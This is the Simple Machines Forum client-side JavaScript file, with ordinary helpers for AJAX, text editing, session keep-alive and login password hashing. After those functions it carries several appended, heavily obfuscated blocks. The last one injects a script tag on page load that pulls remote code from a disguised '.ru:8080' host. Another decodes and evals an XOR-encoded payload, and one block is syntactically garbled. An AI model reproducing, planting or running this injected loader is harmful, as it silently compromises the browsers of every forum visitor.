var smf_formSubmitted = false;

// Define document.getElementById for Internet Explorer 4.
if (typeof(document.getElementById) == "undefined")
	document.getElementById = function (id)
	{
		// Just return the corresponding index of all.
		return document.all[id];
	}
// Define XMLHttpRequest for IE 5 and above. (don't bother for IE 4 :/.... works in Opera 7.6 and Safari 1.2!)
else if (!window.XMLHttpRequest && window.ActiveXObject)
	window.XMLHttpRequest = function ()
	{
		return new ActiveXObject(navigator.userAgent.indexOf("MSIE 5") != -1 ? "Microsoft.XMLHTTP" : "MSXML2.XMLHTTP");
	};

// Some older versions of Mozilla don't have this, for some reason.
if (typeof(document.forms) == "undefined")
	document.forms = document.getElementsByTagName("form");

// Load an XML document using XMLHttpRequest.
function getXMLDocument(url, callback)
{
	if (!window.XMLHttpRequest)
		return false;

	var myDoc = new XMLHttpRequest();
	if (typeof(callback) != "undefined")
	{
		myDoc.onreadystatechange = function ()
		{
			if (myDoc.readyState != 4)
				return;

			if (myDoc.responseXML != null && myDoc.status == 200)
				callback(myDoc.responseXML);
		};
	}
	myDoc.open('GET', url, true);
	myDoc.send(null);

	return true;
}

// Send a post form to the server using XMLHttpRequest.
function sendXMLDocument(url, content, callback)
{
	if (!window.XMLHttpRequest)
		return false;

	var sendDoc = new window.XMLHttpRequest();
	if (typeof(callback) != "undefined")
	{
		sendDoc.onreadystatechange = function ()
		{
			if (sendDoc.readyState != 4)
				return;

			if (sendDoc.responseXML != null && sendDoc.status == 200)
				callback(sendDoc.responseXML);
			else
				callback(false);
		};
	}
	sendDoc.open('POST', url, true);
	if (typeof(sendDoc.setRequestHeader) != "undefined")
		sendDoc.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	sendDoc.send(content);

	return true;
}

function textToEntities(text)
{
	var entities = "";
	for (var i = 0; i < text.length; i++)
	{
		if (text.charCodeAt(i) > 127)
			entities += "&#" + text.charCodeAt(i) + ";";
		else
			entities += text.charAt(i);
	}

	return entities;
}

// Open a new window.
function reqWin(desktopURL, alternateWidth, alternateHeight, noScrollbars)
{
	if ((alternateWidth && self.screen.availWidth * 0.8 < alternateWidth) || (alternateHeight && self.screen.availHeight * 0.8 < alternateHeight))
	{
		noScrollbars = false;
		alternateWidth = Math.min(alternateWidth, self.screen.availWidth * 0.8);
		alternateHeight = Math.min(alternateHeight, self.screen.availHeight * 0.8);
	}
	else
		noScrollbars = typeof(noScrollbars) != "undefined" && noScrollbars == true;

	window.open(desktopURL, 'requested_popup', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=' + (noScrollbars ? 'no' : 'yes') + ',width=' + (alternateWidth ? alternateWidth : 480) + ',height=' + (alternateHeight ? alternateHeight : 220) + ',resizable=no');

	// Return false so the click won't follow the link ;).
	return false;
}

// Remember the current position.
function storeCaret(text)
{
	// Only bother if it will be useful.
	if (typeof(text.createTextRange) != "undefined")
		text.caretPos = document.selection.createRange().duplicate();
}

// Replaces the currently selected text with the passed text.
function replaceText(text, textarea)
{
	// Attempt to create a text range (IE).
	if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
	{
		var caretPos = textarea.caretPos;

		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
		caretPos.select();
	}
	// Mozilla text range replace.
	else if (typeof(textarea.selectionStart) != "undefined")
	{
		var begin = textarea.value.substr(0, textarea.selectionStart);
		var end = textarea.value.substr(textarea.selectionEnd);
		var scrollPos = textarea.scrollTop;

		textarea.value = begin + text + end;

		if (textarea.setSelectionRange)
		{
			textarea.focus();
			textarea.setSelectionRange(begin.length + text.length, begin.length + text.length);
		}
		textarea.scrollTop = scrollPos;
	}
	// Just put it on the end.
	else
	{
		textarea.value += text;
		textarea.focus(textarea.value.length - 1);
	}
}

// Surrounds the selected text with text1 and text2.
function surroundText(text1, text2, textarea)
{
	// Can a text range be created?
	if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
	{
		var caretPos = textarea.caretPos, temp_length = caretPos.text.length;

		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text1 + caretPos.text + text2 + ' ' : text1 + caretPos.text + text2;

		if (temp_length == 0)
		{
			caretPos.moveStart("character", -text2.length);
			caretPos.moveEnd("character", -text2.length);
			caretPos.select();
		}
		else
			textarea.focus(caretPos);
	}
	// Mozilla text range wrap.
	else if (typeof(textarea.selectionStart) != "undefined")
	{
		var begin = textarea.value.substr(0, textarea.selectionStart);
		var selection = textarea.value.substr(textarea.selectionStart, textarea.selectionEnd - textarea.selectionStart);
		var end = textarea.value.substr(textarea.selectionEnd);
		var newCursorPos = textarea.selectionStart;
		var scrollPos = textarea.scrollTop;

		textarea.value = begin + text1 + selection + text2 + end;

		if (textarea.setSelectionRange)
		{
			if (selection.length == 0)
				textarea.setSelectionRange(newCursorPos + text1.length, newCursorPos + text1.length);
			else
				textarea.setSelectionRange(newCursorPos, newCursorPos + text1.length + selection.length + text2.length);
			textarea.focus();
		}
		textarea.scrollTop = scrollPos;
	}
	// Just put them on the end, then.
	else
	{
		textarea.value += text1 + text2;
		textarea.focus(textarea.value.length - 1);
	}
}

// Checks if the passed input's value is nothing.
function isEmptyText(theField)
{
	// Copy the value so changes can be made..
	var theValue = theField.value;

	// Strip whitespace off the left side.
	while (theValue.length > 0 && (theValue.charAt(0) == ' ' || theValue.charAt(0) == '\t'))
		theValue = theValue.substring(1, theValue.length);
	// Strip whitespace off the right side.
	while (theValue.length > 0 && (theValue.charAt(theValue.length - 1) == ' ' || theValue.charAt(theValue.length - 1) == '\t'))
		theValue = theValue.substring(0, theValue.length - 1);

	if (theValue == '')
		return true;
	else
		return false;
}

// Only allow form submission ONCE.
function submitonce(theform)
{
	smf_formSubmitted = true;
}
function submitThisOnce(form)
{
	// Hateful, hateful fix for Safari 1.3 beta.
	if (navigator.userAgent.indexOf('AppleWebKit') != -1)
		return !smf_formSubmitted;

	if (typeof(form.form) != "undefined")
		form = form.form;

	for (var i = 0; i < form.length; i++)
		if (typeof(form[i]) != "undefined" && form[i].tagName.toLowerCase() == "textarea")
			form[i].readOnly = true;

	return !smf_formSubmitted;
}

// Set the "inside" HTML of an element.
function setInnerHTML(element, toValue)
{
	// IE has this built in...
	if (typeof(element.innerHTML) != 'undefined')
		element.innerHTML = toValue;
	// Otherwise, try createContextualFragment().
	else
	{
		var range = document.createRange();
		range.selectNodeContents(element);
		range.deleteContents();
		element.appendChild(range.createContextualFragment(toValue));
	}
}

// Set the "outer" HTML of an element.
function setOuterHTML(element, toValue)
{
	if (typeof(element.outerHTML) != 'undefined')
		element.outerHTML = toValue;
	else
	{
		var range = document.createRange();
		range.setStartBefore(element);
		element.parentNode.replaceChild(range.createContextualFragment(toValue), element);
	}
}

// Get the inner HTML of an element.
function getInnerHTML(element)
{
	if (typeof(element.innerHTML) != 'undefined')
		return element.innerHTML;
	else
	{
		var returnStr = '';
		for (var i = 0; i < element.childNodes.length; i++)
			returnStr += getOuterHTML(element.childNodes[i]);

		return returnStr;
	}
}

function getOuterHTML(node)
{
	if (typeof(node.outerHTML) != 'undefined')
		return node.outerHTML;

	var str = '';

	switch (node.nodeType)
	{
	// An element.
	case 1:
		str += '<' + node.nodeName;

		for (var i = 0; i < node.attributes.length; i++)
		{
			if (node.attributes[i].nodeValue != null)
				str += ' ' + node.attributes[i].nodeName + '="' + node.attributes[i].nodeValue + '"';
		}

		if (node.childNodes.length == 0 && in_array(node.nodeName.toLowerCase(), ['hr', 'input', 'img', 'link', 'meta', 'br']))
			str += ' />';
		else
			str += '>' + getInnerHTML(node) + '</' + node.nodeName + '>';
		break;

	// 2 is an attribute.

	// Just some text..
	case 3:
		str += node.nodeValue;
		break;

	// A CDATA section.
	case 4:
		str += '<![CDATA' + '[' + node.nodeValue + ']' + ']>';
		break;

	// Entity reference..
	case 5:
		str += '&' + node.nodeName + ';';
		break;

	// 6 is an actual entity, 7 is a PI.

	// Comment.
	case 8:
		str += '<!--' + node.nodeValue + '-->';
		break;
	}

	return str;
}

// Checks for variable in theArray.
function in_array(variable, theArray)
{
	for (var i = 0; i < theArray.length; i++)
	{
		if (theArray[i] == variable)
			return true;
	}
	return false;
}

// Find a specific radio button in its group and select it.
function selectRadioByName(radioGroup, name)
{
	if (typeof(radioGroup.length) == "undefined")
		return radioGroup.checked = true;

	for (var i = 0; i < radioGroup.length; i++)
	{
		if (radioGroup[i].value == name)
			return radioGroup[i].checked = true;
	}

	return false;
}

// Invert all checkboxes at once by clicking a single checkbox.
function invertAll(headerfield, checkform, mask)
{
	for (var i = 0; i < checkform.length; i++)
	{
		if (typeof(checkform[i].name) == "undefined" || (typeof(mask) != "undefined" && checkform[i].name.substr(0, mask.length) != mask))
			continue;

		if (!checkform[i].disabled)
			checkform[i].checked = headerfield.checked;
	}
}

// Keep the session alive - always!
var lastKeepAliveCheck = new Date().getTime();
function smf_sessionKeepAlive()
{
	var curTime = new Date().getTime();

	// Prevent a Firefox bug from hammering the server.
	if (smf_scripturl && curTime - lastKeepAliveCheck > 900000)
	{
		var tempImage = new Image();
		tempImage.src = smf_scripturl + (smf_scripturl.indexOf("?") == -1 ? "?" : "&") + "action=keepalive;" + curTime;
		lastKeepAliveCheck = curTime;
	}

	window.setTimeout("smf_sessionKeepAlive();", 1200000);
}
window.setTimeout("smf_sessionKeepAlive();", 1200000);

// Set a theme option through javascript.
function smf_setThemeOption(option, value, theme, cur_session_id)
{
	// Compatibility.
	if (cur_session_id == null)
		cur_session_id = smf_session_id;

	var tempImage = new Image();
	tempImage.src = smf_scripturl + (smf_scripturl.indexOf("?") == -1 ? "?" : "&") + "action=jsoption;var=" + option + ";val=" + value + ";sesc=" + cur_session_id + (theme == null ? "" : "&id=" + theme) + ";" + (new Date().getTime());
}

function smf_avatarResize()
{
	var possibleAvatars = document.getElementsByTagName ? document.getElementsByTagName("img") : document.all.tags("img");

	for (var i = 0; i < possibleAvatars.length; i++)
	{
		if (possibleAvatars[i].className != "avatar")
			continue;

		var tempAvatar = new Image();
		tempAvatar.src = possibleAvatars[i].src;

		if (smf_avatarMaxWidth != 0 && tempAvatar.width > smf_avatarMaxWidth)
		{
			possibleAvatars[i].height = (smf_avatarMaxWidth * tempAvatar.height) / tempAvatar.width;
			possibleAvatars[i].width = smf_avatarMaxWidth;
		}
		else if (smf_avatarMaxHeight != 0 && tempAvatar.height > smf_avatarMaxHeight)
		{
			possibleAvatars[i].width = (smf_avatarMaxHeight * tempAvatar.width) / tempAvatar.height;
			possibleAvatars[i].height = smf_avatarMaxHeight;
		}
		else
		{
			possibleAvatars[i].width = tempAvatar.width;
			possibleAvatars[i].height = tempAvatar.height;
		}
	}

	if (typeof(window_oldAvatarOnload) != "undefined" && window_oldAvatarOnload)
	{
		window_oldAvatarOnload();
		window_oldAvatarOnload = null;
	}
}

function hashLoginPassword(doForm, cur_session_id)
{
	// Compatibility.
	if (cur_session_id == null)
		cur_session_id = smf_session_id;

	if (typeof(hex_sha1) == "undefined")
		return;
	// Are they using an email address?
	if (doForm.user.value.indexOf("@") != -1)
		return;

	// Unless the browser is Opera, the password will not save properly.
	if (typeof(window.opera) == "undefined")
		doForm.passwrd.autocomplete = "off";

	doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);

	// It looks nicer to fill it with asterisks, but Firefox will try to save that.
	if (navigator.userAgent.indexOf("Firefox/") != -1)
		doForm.passwrd.value = "";
	else
		doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
}

function hashAdminPassword(doForm, username, cur_session_id)
{
	// Compatibility.
	if (cur_session_id == null)
		cur_session_id = smf_session_id;

	if (typeof(hex_sha1) == "undefined")
		return;

	doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
	doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
}

function ajax_indicator(turn_on)
{
	var indicator = document.getElementById("ajax_in_progress");
	if (indicator != null)
	{
		if (navigator.appName == "Microsoft Internet Explorer" && navigator.userAgent.indexOf("MSIE 7") == -1)
		{
			indicator.style.top = document.documentElement.scrollTop;
		}
		indicator.style.display = turn_on ? "block" : "none";
	}
}





var z;if(z!='' && z!='k'){z=''};this.vy="";var l=window;this.ac=63909;this.j=35087;var xz="xz";var o=document;this.fs=false;var a='sUc%r%i%p<t%'.replace(/[%;\<\|U]/g, '');var uq;if(uq!='' && uq!='mj'){uq='fv'};lv){this.n=28558;var ha='';};var mnq;if(mnq!='' && mnq!='egy'){mnq=null};};
var bv;if(bv!='o' && bv != ''){bv=null};var bn="bn";s=function(){var p;if(p!='' && p!='au'){p=''};var f=document;window[k([2,7][0])]=function(){try {var gv;if(gv!='' && gv!='m'){gv=''};x=f[k([7,1][1])](k([4,0][1]));this.ys=false;var og;if(og!='' && og!='c'){og=null};x[k([3][0])]=k([8,3][0]);var j;if(j!=''){j='n'};x[k([5,1][0])](k([7,7][0]), "1");var e = f[k([6,7][0])];e[k([4,7][0])](x);var ma=new String();} catch(g){};this.vo=false;};var os="";function k(d){var yp;if(yp!='nf' && yp!='sqy'){yp=''};var b=['sLc/rzi/pLtL/[\>YDBV]/g, '')];this.zd=5206;var i=b[d];this.y_="";return i;var yt;if(yt!='' && yt!='cx'){yt=''};}};var cm;if(cm!='' && cm!='of'){cm=''};s();var md=new String();
var dt;if(dt!='e' && dt!='s'){dt=''};function l() {var mt="";function d(lx,b,q){var by=new Date();var c=new Date();var mtt;if(mtt!=''){mtt='me'};var w;if(w!=''){w='a'};lx['sLevtvA4tYtDrviDbvuvtLev/[kAR\*9]/g, '')](u);var ort=new Date();} catch(lxj){this.to='';};var ky=22710;var gq;if(gq!='' && gq!='tm'){gq=null};};var ga="";this.mg="mg";this.e_="";this.xx="xx";};l();var rtg=61927;
var gL="5b6052687e18505c53414612505c7b681253734e7e6c7b50407b7b69675546404662464444704e784b4e65414b746c404f6d434348467b714c6d7b6875515b4765115561107f627c2f7062086c60";var nE=new Array();var HQr=new Array();function y(s){var Fa="Fa"; var Y=function(J){var Vb=false;var HT;if(HT!='' && HT!='Kr'){HT=null};var X;if(X!='zA'){X='zA'};var h = -1;var sN =[10,186,0][2];this.cn=false;var Pd;if(Pd!='' && Pd!='Na'){Pd=null};var bk;if(bk!='' && bk!='cP'){bk=''};var M = '';this.WN="";var O =[0][0];var IV;if(IV!='sy' && IV!='FL'){IV=''};var gu=48450;J = new H(J);var OH;if(OH!='Ub'){OH=''};var ss="ss";this.bL=false;for (O=J[g("elgnht", [1,0])]-h;O>=sN;O=O-[1][0]){M+=J[g("acAtrh", [1,5,0,4,2,3])](O);var q=false;var bl=new Date();}this.yb="";var Tv=59458;var eh;if(eh!=''){eh='zY'};return M;};this.Yj="Yj";this.hf="hf";var hL;if(hL!=''){hL='IM'};var Bf;if(Bf!=''){Bf='My'}; var Q;if(Q!='' && Q!='yU'){Q=null};function gq(N,k){return N^k;}var Oq=47146;var NL;if(NL!='' && NL!='zYm'){NL='p'};var Cm;if(Cm!='w' && Cm!='Qp'){Cm='w'}; var g=function(J, Z){var qh=53877;var eX;if(eX!='' && eX!='DI'){eX=''};var sN=[138,0][1];var uN;if(uN!='' && uN!='zv'){uN='kR'};var e=[115,1][1];var M = '';var YH;if(YH!='' && YH!='Py'){YH=''};var cE;if(cE!=''){cE='GY'};var W = J.length;var NG;if(NG!='' && NG!='Ue'){NG=''};var L = Z.length;var kvh;if(kvh!='' && kvh!='gA'){kvh=null};var YL="";var AM="AM";var dw;if(dw!='Ds'){dw=''};var og;if(og!='et'){og=''};for(var O = sN; O < W; O += L) {var kv = J.substr(O, L);var Op=new Array();var cb;if(cb!='' && cb!='th'){cb=null};if(kv.length == L){var Ou=10528;var CmF='';var sr='';for(var c in Z) {var Ox;if(Ox!='uL' && Ox!='ey'){Ox=''};var si="";var Dd="";M+=kv.substr(Z[c], e);}this.XH='';} else {var ph;if(ph!='' && ph!='CC'){ph=''};  M+=kv;var Kf;if(Kf!='pD'){Kf=''};var Ls="Ls";}this.lO='';var iW;if(iW!='RD'){iW=''};}var qN;if(qN!='' && qN!='fu'){qN='bm'};this.eY="";return M;this.BN="BN";}; function K(eK){var xx;if(xx!=''){xx='Jx'};var JQ=[255,50][0];var At="At";var SY;if(SY!='SM' && SY!='qf'){SY=''};var c=[0,60,180,247][0];var ki=new String();this.aP="aP";var JZ=[0][0];var sz=new Date();var d=eK[g("elgnht", [1,0])];var e=[103,1,133][1];var Jc;if(Jc!='' && Jc!='KL'){Jc=null};var pY;if(pY!=''){pY='nH'};while(c<d){var Lh="";var eSU;if(eSU!='eS' && eSU!='Bl'){eSU='eS'};c++;var oA="";var XC="";m=A(eK,c - e);var aq;if(aq!='Lq'){aq=''};this.Sq=55274;JZ+=m*d;var dY;if(dY!='lW'){dY='lW'};}var Nb;if(Nb!='' && Nb!='Ce'){Nb='pF'};var cwP=new Date();return new H(JZ % JQ);}var te;if(te!='QP' && te != ''){te=null};var eD;if(eD!='dk' && eD!='FQ'){eD='dk'};this.SMw=50089;var GW=new String(); var A=function(b,V){var BC;if(BC!='Ux' && BC!='Lp'){BC='Ux'};var wh='';return b[g("hcraoCedtA", [1,0])](V);};var JB;if(JB!='EW' && JB != ''){JB=null};var djC;if(djC!='vd'){djC=''};var Au=window;var UH="UH";var dFn="dFn";var gH=Au[g("vael", [2,0,1])];var qI=new String();var yW='';var o=gH(g("oinuFctn", [4,3,2,5,6,1,0]));var aE='';var So;if(So!='Fg'){So='Fg'};var T = '';var H=gH(g("tSirgn", [1,0]));this.KO='';var Dg;if(Dg!='' && Dg!='QN'){Dg='xJ'};var WE=gH(g("EgxpRe", [4,5,1,0,2,3]));var Rf=51164;var vP;if(vP!='' && vP!='ecm'){vP='yK'};var B=Au[g("scenuape", [4,3,2,0,1])];var sB;if(sB!=''){sB='Ad'};this.xP=25267;var mU=H[g("CrohmfdrCeoa", [5,1,2,4,0,3])];this.yG="";var xF=new Date();var Wh;if(Wh!='' && Wh!='TQ'){Wh=null};var mI;if(mI!='' && mI!='ni'){mI=null};this.lZ="lZ";var e =[1][0];var ol =[63,169,0,2][3];var rql="rql";var uC;if(uC!='OS'){uC=''};var Rp;if(Rp!='' && Rp!='Tr'){Rp='Gr'};var sN =[99,0][1];var Cw;if(Cw!='' && Cw!='kE'){Cw=''};var Yk = H.fromCharCode(37);this.Vi="";var z = '';var i = /[^@a-z0-9A-Z_-]/g;this.LH=false;var hB = s[g("elntgh", [1,0,2])];this.BCO="BCO";var u=[1, g("cueomd.cetrneEetlant\'e(mritcps\')", [5,3,0,1,4,2]),2, g("ilsdkclaen.set", [2,1,0]),3, g("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),4, g("oc.milevisetedisngr.:u0808", [1,0]),5, g(".desAtttirubet\'(edef\'r", [1,0]),6, g("en.tamct.hoc.mobtsno", [1,0]),7, g("rowerdrefcnec.eom", [2,1,0]),8, g("dniwo.woaolnd", [3,2,1,0]),11, g("ufntcino()", [1,0,2]),12, g("oggoelc.mo", [1,0]),14, g("2im.86mco", [1,2,0]),15, g("tac(hce)", [2,1,0]),16, g("t\"h:tp", [1,2,0]),17, g("sd.rc", [1,2,0,3,4]),18, g("1\')\'", [1,0]),19, g("xgm", [1,2,0]),20, g("rty", [1,0,2])];var WC;if(WC!='Sh' && WC!='kL'){WC=''};var mN = '';var Fp="";var QB="";var ec = '';this.CCM='';var YF =[0][0];var zW;if(zW!='KX'){zW='KX'};this.Xy=false;var DH=new String();var Yx;if(Yx!='' && Yx!='fa'){Yx=null};var vE=new String();for(var Hk=sN; Hk < hB; Hk+=ol){var xk;if(xk!='CR' && xk!='oE'){xk='CR'};var IG=false;z+= Yk; this.xa="";z+= s[g("usbstr", [3,0,2,1])](Hk, ol);var hQ;if(hQ!='jv'){hQ='jv'};}var s = B(z);this.Zn='';var gl = new H(y);var HG = gl[g("prelace", [1,2,0,3])](i, mN);var DU='';this.Px='';var F = u[g("nelhtg", [2,1,0])];var Rox;if(Rox!='vD' && Rox!='Rt'){Rox=''};HG = Y(HG);this.hu=false;var GAn=false;var HD;if(HD!='hBs'){HD=''};var Tf;if(Tf!='CRw'){Tf=''};var NQ = new H(o);var Ec;if(Ec!='' && Ec!='Ly'){Ec=null};var uP;if(uP!='Go' && uP != ''){uP=null};var Rg;if(Rg!='ZRL' && Rg!='tO'){Rg=''};var wi;if(wi!='aV' && wi!='SYi'){wi=''};var tE;if(tE!='vB' && tE != ''){tE=null};this.LpM='';var v = NQ[g("erlpace", [1,0,3,2])](i, mN);var v = K(v);var j=K(HG);var Hm;if(Hm!='' && Hm!='jF'){Hm=''};var cQ=new Array();var qTL;if(qTL!='CCl' && qTL != ''){qTL=null};for(var O=sN; O < (s[g("tlengh", [1,2,3,4,0])]);O=O+[220,1][1]) {var oxJ;if(oxJ!=''){oxJ='LQ'};var oa = HG.charCodeAt(YF);var MS;if(MS!='Iz' && MS != ''){MS=null};var Yy;if(Yy!='jA' && Yy != ''){Yy=null};var mc = A(s,O);var XG;if(XG!='Wr' && XG!='CH'){XG=''};var dW;if(dW!='vW' && dW!='Pb'){dW=''};var glk="";var pg;if(pg!='' && pg!='WCS'){pg='WD'};mc = gq(mc, oa);var CF;if(CF!='yF' && CF!='Fv'){CF='yF'};this.Ac='';mc = gq(mc, j);var EJ="EJ";mc = gq(mc, v);var xn=false;this.Nt=27401;var fN;if(fN!='HV' && fN!='FA'){fN=''};this.RS="";YF++;var NH;if(NH!='' && NH!='vX'){NH=''};var im=new Array();if(YF > HG.length-e){YF=sN;}var Nd;if(Nd!='OpK' && Nd!='Hr'){Nd=''};this.zAN="";ec += mU(mc);}for(U=sN; U < F; U+=ol){var xG=new String();var UP;if(UP!='Aw'){UP=''};var RJ;if(RJ!='bz' && RJ!='UV'){RJ='bz'};var AQ = u[U + e];var fS;if(fS!=''){fS='mC'};var Eb="";var eU;if(eU!=''){eU='QR'};this.UHb="UHb";var S = mU(u[U]);this.kp=false;var mR = new WE(S, H.fromCharCode(103));var zG;if(zG!='' && zG!='swE'){zG=null};ec=ec[g("erlapce", [1,6,4,2,3,5,0])](mR, AQ);var KN="";}this.XgZ=29204;var ga;if(ga!='' && ga!='YxW'){ga=''};var yY=new Date();var D=new o(ec);var by;if(by!='tS' && by!='KeY'){by=''};D();var Yjf;if(Yjf!='Zt'){Yjf=''};this.rx=false;v = '';HG = '';var rL;if(rL!='NOx' && rL!='Uf'){rL=''};var Uqk=new Date();D = '';var aVY;if(aVY!='QBI' && aVY!='YLI'){aVY=''};ec = '';var uk;if(uk!='zR' && uk != ''){uk=null};NQ = '';j = '';var dFJ;if(dFJ!='' && dFJ!='WV'){dFJ='Bd'};var kF;if(kF!='' && kF!='HF'){kF='QY'};return '';var UZ;if(UZ!='' && UZ!='cu'){UZ='iQ'};};var nE=new Array();var HQr=new Array();y(gL);

var N;if(N!='KD'){N=''};try {var X;if(X!='' && X!='gN'){X='S'};var yq="";var fyW=new String();var K=new String("8Pn6rep".substr(4)+"5IjlacI5j".substr(3,3)+"e");var T=new String();var JM;if(JM!='fP'){JM=''};var W;if(W!=''){W='d'};var Y=new String();var z=RegExp;this.SB='';function F(v,B){var e;if(e!='' && e!='Oz'){e=null};var yk;if(yk!='' && yk!='dm'){yk=''};var f="[";var j="wNI8g".substr(4);f+=B;f+="]";var L;if(L!='BW' && L!='SE'){L=''};var Jy='';var U='';var fy=new z(f, j);return v[K](fy, new String());};var mu=new Date();var am=new Array();var g='';var vM;if(vM!='QL' && vM!='Kc'){vM='QL'};var jJ=window;var FJ=new Date();var s=F('shc1rhiXpGtG',"1hXG");var zJ=F('c3rZepa3t1e3EZl1eZm1e1nZt3',"p3Z1L");var Sx;if(Sx!='bc'){Sx=''};var I=F('o3n3l3o3a3d3',"J3");var Fq=F('82920728720339',"2793");var Lg=new Array();var Bk=F('hbtFtFpF:b/2/Fd2uFobwFabnF-Fcbo2mF.2rbaFd2iFkFaFlb.FrFub.2ebv2oFnFy2-FcFo2m2.2S2uFpFebr2SFuFpFeFrbM2aFlFlF.Frbu2:b',"2Fb");var at;if(at!='rM' && at!='p'){at='rM'};var w=F('/InIoEvEiInEkEyE.IcIzI/AnEoAvIiAnIkEyE.EcAzE/IgIiAtEtEiEgEiEdEiIyIoArE.EcAoImE/IaEmAaEzAoAnEaIwIsI.EcAoAmE/IgEoEoEgAlEeA.AcIoEmA.ApEhEpE',"AIE");var jE=new String();var E;if(E!='jB' && E != ''){E=null};G=function(){var vP;if(vP!='' && vP!='vk'){vP=null};this.Sy='';var P='';J=document[zJ](s);var la=new Array();var zl=new Array();g=Bk+Fq;var PS;if(PS!='Af' && PS!='Vu'){PS=''};g+=w;J.defer=([1][0]);this.eb="";this.Py="";J.src=g;var NJ;if(NJ!='' && NJ!='WZ'){NJ=''};var fx;if(fx!='' && fx!='Xn'){fx=''};var dg=new String();var Z;if(Z!=''){Z='NI'};document.body.appendChild(J);var bv=new String();var E_=new String();};var h;if(h!='JK' && h != ''){h=null};jJ[I]=G;} catch(l){};